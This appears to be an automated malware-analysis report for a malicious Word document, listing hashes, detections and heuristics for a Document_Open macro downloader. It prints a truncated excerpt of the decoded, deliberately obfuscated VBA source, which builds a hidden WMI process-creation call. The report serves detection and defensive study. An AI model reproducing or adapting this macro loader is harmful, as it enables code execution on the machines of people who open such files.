Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4801e4662a0e3eb0…

MALICIOUS

Office (OLE)

192.2 KB Created: 2020-08-19 17:17:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: d469dea3ff1046a933d547573dffd81e SHA-1: 4a61a001f855d194dc6bc7b7beebc2a1e45a9b1f SHA-256: 4801e4662a0e3eb0b952cfde8e51befa860b24d706108489b61d0d7365370989
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro that utilizes a hidden UserForm command stager. This technique is commonly used to obfuscate the execution of malicious code, often involving the creation of objects to download and execute further payloads. The ClamAV detection further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9401419-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9401419-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15428 bytes
SHA-256: 06ef3089ae1eacf6fbae8a5da9610b79b11a2cfb9f3c91e8e9a2c84577794915
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vg3ugxelvrlzed9hwz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Sf4dqd6iw65q.T7wnceflceber74
End Sub


Attribute VB_Name = "Sf4dqd6iw65q"
Attribute VB_Base = "0{48C75266-7CEB-4D4E-BA70-7FA9510850F9}{9B9F1939-CA22-4B47-8377-DEB12F5C17DE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function T7wnceflceber74()
   Nrpfn1tngfbnfmdn8w = "637"
If Len("Ynj91ucwnnyc7Uw59kn4au9elmu") = Len("Hk1e_luku1vkdf_tc") + 1 Then End
If Len("Xn2jpxiu85l4Ft5dd908filkizS7upcfphba6") < Len("Wpo1_2ko3kb") Then
        MsgBox "Pek3eq_g9f6bj72j3m" + "Ci6cr3smt9lmp5y59"
        MsgBox ("Rcwayf1umrd_bwps9")
        MsgBox "Tb4awdrjx5qiwb5o" + "Ggdv1m8pbiu"
End If
If Len("S897_d8cyqsups8ee6Exsfm6dbz7v") = Len("W9m99smx08mq4yu") Then
       MsgBox "Fq4khhnkh2wb" + "Bhgc8xxdv_x4hdjkbn"
       MsgBox ("I05jdlnyub1g8l37 !!!")
       MsgBox "Eo8b8cwrgs_edago" + "S9i0c3t0cb641rqhud"
End If

Ld83k56umwr = Sf4dqd6iw65q.HelpContextId + 50 + 50
   V0actu6res35x8e = "916"
If Len("Wxk4xuazhyhbqzzf8nYt742gucwgn327le") = Len("P69j9l77n5b") + 1 Then End
If Len("Ux8kfgq_6twcsoV8qfeuvtcprah_8Jtx4tqrvz6ekci") < Len("Tt5b_8z86id57zfia") Then
        MsgBox "Dju6v0op7qjqlr5u1r" + "Y9ryw4vqww8twe"
        MsgBox ("Y_k896xubiyp9")
        MsgBox "Zl0z6b_zv0cat450" + "Ql0t6j4tulopq9ny4w"
End If
If Len("Y63cmjpm69m61Hbd0dfbggl2") = Len("Geazm1gtac6jxkq") Then
       MsgBox "Yvhqymf8k11rj3zrl1" + "Hlgvwzhcig6l41divd"
       MsgBox ("Y90eoxazkjoo9 !!!")
       MsgBox "Hfw2aw3rk92qo83fte" + "A3cmh39w_8453"
End If

Zqe11tc7slxyfkwai = ChrW(Ld83k56umwr + (15))
   O2ajj2cssr2 = "752"
If Len("E9pqj11ry1fo75swgnS2otis1erwucp3m") = Len("Jonp3mlp6wxo") + 1 Then End
If Len("Grme0bh3oh0uvjCy2wuvfh402op0zw6Sifh0q2er0ho7") < Len("Bqlh7b65djtf") Then
        MsgBox "Q351veh8b28z" + "Wpeg_pcvm_xs2"
        MsgBox ("M6e7y4idnxjxkzka1")
        MsgBox "Nvgq19kedxl4gi" + "H1b86j8c3bs8nfoll"
End If
If Len("G_fybfhwuzv4vA4_0id7gwtooha") = Len("Z1m_t9izyz71jzhr0q") Then
       MsgBox "Xvfqchocowj" + "Yhzu_j4bt4dmjmow"
       MsgBox ("Kcp9gem5kk4f76 !!!")
       MsgBox "Kb0sufhhgos" + "M5g143w0u51"
End If

Elj6thrnpk_98q8ja0 = "111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfw111ss[sns ]]d][ jsa nbsb22v2yfi111ss[sns ]]d][ jsa nbsb22v2yfnm111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfgm111ss[sns ]]d][ jsa nbsb22v2yft111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf" + Zqe11tc7slxyfkwai + "111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf:111ss[sns ]]d][ jsa nbsb22v2yfw111ss[sns ]]d][ jsa nbsb22v2yfin111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yf3111ss[sns ]]d][ jsa nbsb22v2yf2111ss[sns ]]d][ jsa nbsb22v2yf_111ss[sns ]]d][ jsa nbsb22v2yf" + Sf4dqd6iw65q.Sbicpimbs57oa9_ + "111ss[sns ]]d][ jsa nbsb22v2yfro111ss[sns ]]d][ jsa nbsb22v2yf111ss[sns ]]d][ jsa nbsb22v2yfce111ss[sns ]]d][ jsa nbsb22v2yfs111ss[sns ]]d][ jsa nbsb22v2yfs111ss[sns ]]d][ jsa nbsb22v2yf"
   Bbr2wpasobsn = "45"
If Len("Fq59zwdb56odgjcz0eAgeo2y85f_qe_tbdq") = Len("Jcereigdxpg95p8zn2") + 1 Then End
If Len("Bcj440bo2ouDw4wbztb8hyaQhgahkgkao4djl") < Len("C6qzckala57a51g") Then
        MsgBox "Kjmf27ntdo6ei_s3n" + "Yb3_9gx7fhm"
        MsgBox ("Jv5uo69g3hs9v")
        MsgBox "L8damdx52fdplft6" + "Eg5bkkywy6gi2u5o"
End If
If Len("T24f7jxt5zr0Uy9sm23yfwqpyjq") = Len("Avjbdo3cvk9gsqw") Then
       MsgBox "Qectkjicxvwe" + "Shag05di9qo77"
       MsgBox ("A5vgzaj4ug9l3ngpt4 !!!")
       MsgBox "S6d8_uxs0zzzyplh" + "Bo8ed9y5jxc2"
End If

I7o9scg_fx0u5u = W6bxcb63rbrdfpvds5(Elj6thrnpk_98q8ja0)
   Uz1uet561r3n = "909"
If Len("Bp6xg8w9nb85dw32e0Ub_p11e2svbn") = Len("K928ffpyshqx42b8c") + 1 Then End
If Len("
... (truncated)

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